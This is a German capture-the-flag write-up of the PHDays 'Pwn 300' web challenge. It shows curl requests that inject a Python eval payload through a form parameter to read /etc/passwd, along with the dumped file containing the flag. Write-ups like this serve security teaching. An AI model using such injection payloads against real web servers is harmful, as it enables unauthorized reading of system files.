Neben einigen zusätzlichen Informationen wird uns bei dieser Challenge (Pwn 300) die URL eines Webservers genannt, mit dem wir angeblich die Kontrolle über die Stadt South Park erlangen können.
Der Besuch der Webseite liefert uns folgendes Ergebnis:
Über die Oberfläche haben wir die Möglichkeit ausgewählte Bürger von South Park zu töten, einzusperren oder in den Bankrott zu treiben. Das Ausführen der Handlung führt immer zu einer Bestätigung, dass die Aktion vollzogen wurde. Eine genauere Betrachtung des Quellcodes der Webseite offenbart uns:
Wir finden also heraus, wo sich der Schlüssel und somit das Ziel der Challenge befindet, nämlich in der Datei “/etc/passwd”. Über diesen Hinweis wissen nun also auch, dass unser Weg uns irgendwie auf das lokale Dateisystem führen muss – also zum Beispiel über einen “Directory Traversal” oder das Ausnutzes der Webserver-Skripte.
Wir experimentieren zunächst etwas mit den Formularfeldern des Webserver herum und senden folgende Anfrage an den Server ab:
curl ctf.phdays.com:2137 -d "&actions=kil1111l&human=Kenny&choice=%00"
Als Ergebnis erhalten wir eine Fehlerseite des Skriptes, das auf dem Webserver arbeitet:
Die von uns übergebene Handlung “kil1111l” ist dem Webserver nicht bekannt. Weiterhin erkennen wir aus der Fehlermeldung, dass es sich um ein Python-Skript handelt. Die Vermutung liegt also nahe, dass über das Einfügen von Python-Kommandos das Verhalten des Skriptes beeinflusst werden kann.
Dies Testen wir zunächst mit einem simplen Eval-Statement, das uns nur das Ergebnis einer Addition liefern soll:
curl ctf.phdays.com:2137 -d "&actions=eval&human=str(1+1)&choice=%00" <br>2
Der Webserver nimmt den “human”-Parameter und wendet ihn auf den “action”-Parameter an. Damit entsteht in unserem Fall in Python: eval(str(1+1)). Das hat das Webserver-Skript ausgeführt und liefert uns “2” zurück. Nun geht es nur noch darum, das Auslesen der Datei “/etc/passwd” zu realisieren, in der sich unsere Flagge befindet!
Dies tun wir über die Kombination der “open”- und “readlines”-Funktionen.
curl ctf.phdays.com:2137 -d "&actions=eval&human=str(open('/etc/passwd').readlines())&choice=%00" <br>['# $FreeBSD: src/etc/master.passwd,v 1.42.2.1.2.2 2012/11/17 08:36:10 svnexp Exp $\n', '#\n', 'root:*:0:0:Charlie & flag -> d9301a72ee12eabb2b913398a3fab50b:/root:/bin/csh\n', 'toor:*:0:0:Bourne-again Superuser:/root:\n', 'daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin\n', 'operator:*:2:5:System &:/:/usr/sbin/nologin\n', 'bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin\n', 'tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin\n', 'kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin\n', 'games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin\n', 'news:*:8:8:News Subsystem:/:/usr/sbin/nologin\n', 'man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin\n', 'sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin\n', 'smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin\n', 'mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin\n', 'bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin\n', 'proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin\n', '_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin\n', '_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin\n', 'uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico\n', 'pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin\n', 'www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin\n', 'hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin\n', 'nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin\n', 'phdays:*:1001:1001:User &:/home/phdays:/bin/sh\n']
Neben allen Benutzernamen dieses Servers erhalten wir im GECOS-Feld des Benutzers “root” auch den Schlüssel zu dieser Challenge.
Die Antwort lautet: “d9301a72ee12eabb2b913398a3fab50b“.
Nach Absenden des Ergebnisses erhalten wir freundlichenweise sogar noch den Quellcode des Python-Webservers von PHDays! 😉